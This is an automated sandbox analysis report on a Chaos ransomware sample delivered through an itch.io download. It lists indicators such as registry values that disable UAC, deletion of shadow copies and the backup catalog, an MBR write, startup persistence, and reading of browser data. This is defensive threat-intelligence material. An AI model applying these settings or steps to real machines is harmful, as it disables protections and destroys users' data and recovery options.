Malware Analysis Report

2024-10-19 07:13

Sample ID 240314-mka1saca37
Target https://r15stv.itch.io/chilledwindows#google_vignette
Tags
chaos bootkit evasion persistence ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file https://r15stv.itch.io/chilledwindows#google_vignette was found to be: Known bad.

Malicious Activity Summary

chaos bootkit evasion persistence ransomware spyware stealer trojan

UAC bypass

Chaos Ransomware

Chaos

Deletes shadow copies

Modifies boot configuration data using bcdedit

Downloads MZ/PE file

Disables Task Manager via registry modification

Deletes backup catalog

Checks computer location settings

Drops startup file

Executes dropped EXE

Reads user/profile data of web browsers

Drops desktop.ini file(s)

Enumerates connected drives

Legitimate hosting services abused for malware hosting/C2

Writes to the Master Boot Record (MBR)

Sets desktop wallpaper using registry

Enumerates physical storage devices

Checks SCSI registry key(s)

Suspicious use of SendNotifyMessage

Runs ping.exe

Enumerates system info in registry

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Uses Volume Shadow Copy service COM API

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Delays execution with timeout.exe

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Kills process with taskkill

Modifies registry class

NTFS ADS

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Interacts with shadow copies

Modifies registry key

Suspicious behavior: GetForegroundWindowSpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-14 10:30

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-14 10:30

Reported

2024-03-14 10:41

Platform

win10v2004-20240226-en

Max time kernel

639s

Max time network

606s

Command Line

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://r15stv.itch.io/chilledwindows#google_vignette

Signatures

Chaos

ransomware chaos

Chaos Ransomware

Description Indicator Process Target
N/A N/A N/A N/A

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Windows\SysWOW64\reg.exe N/A

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Deletes backup catalog

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Disables Task Manager via registry modification

evasion

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Downloads\GuideLauncher.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29Cry.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
N/A N/A C:\Users\Admin\Downloads\GuideLauncher.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\mbr.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29Cry.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29LockScreen.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Saved Games\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\OneDrive\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Desktop\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Documents\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Links\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Desktop\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Documents\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Contacts\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Downloads\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification F:\$RECYCLE.BIN\S-1-5-21-275798769-4264537674-1142822080-1000\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Searches\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\B: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\Downloads\chilledwindows.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\Downloads\chilledwindows.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\mbr.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7dg8uw1c8.jpg" C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 C:\Windows\System32\vds.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName C:\Windows\System32\vds.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Windows\System32\vds.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\System32\vds.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202 C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0 C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-275798769-4264537674-1142822080-1000\{4535A5D0-75C5-4D65-B9F1-278EB098D1A0} C:\Users\Admin\Downloads\chilledwindows.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\MRUListEx = 00000000ffffffff C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4 C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 C:\Windows\system32\NOTEPAD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic" C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ C:\Windows\system32\NOTEPAD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings C:\Windows\SysWOW64\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0 = 820074001c004346534616003100000000005a58a279120041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe5a58a2796e58e8532e00000087e10100000001000000000000000000000000000000764ab3004100700070004400610074006100000042000000 C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" C:\Windows\system32\NOTEPAD.EXE N/A
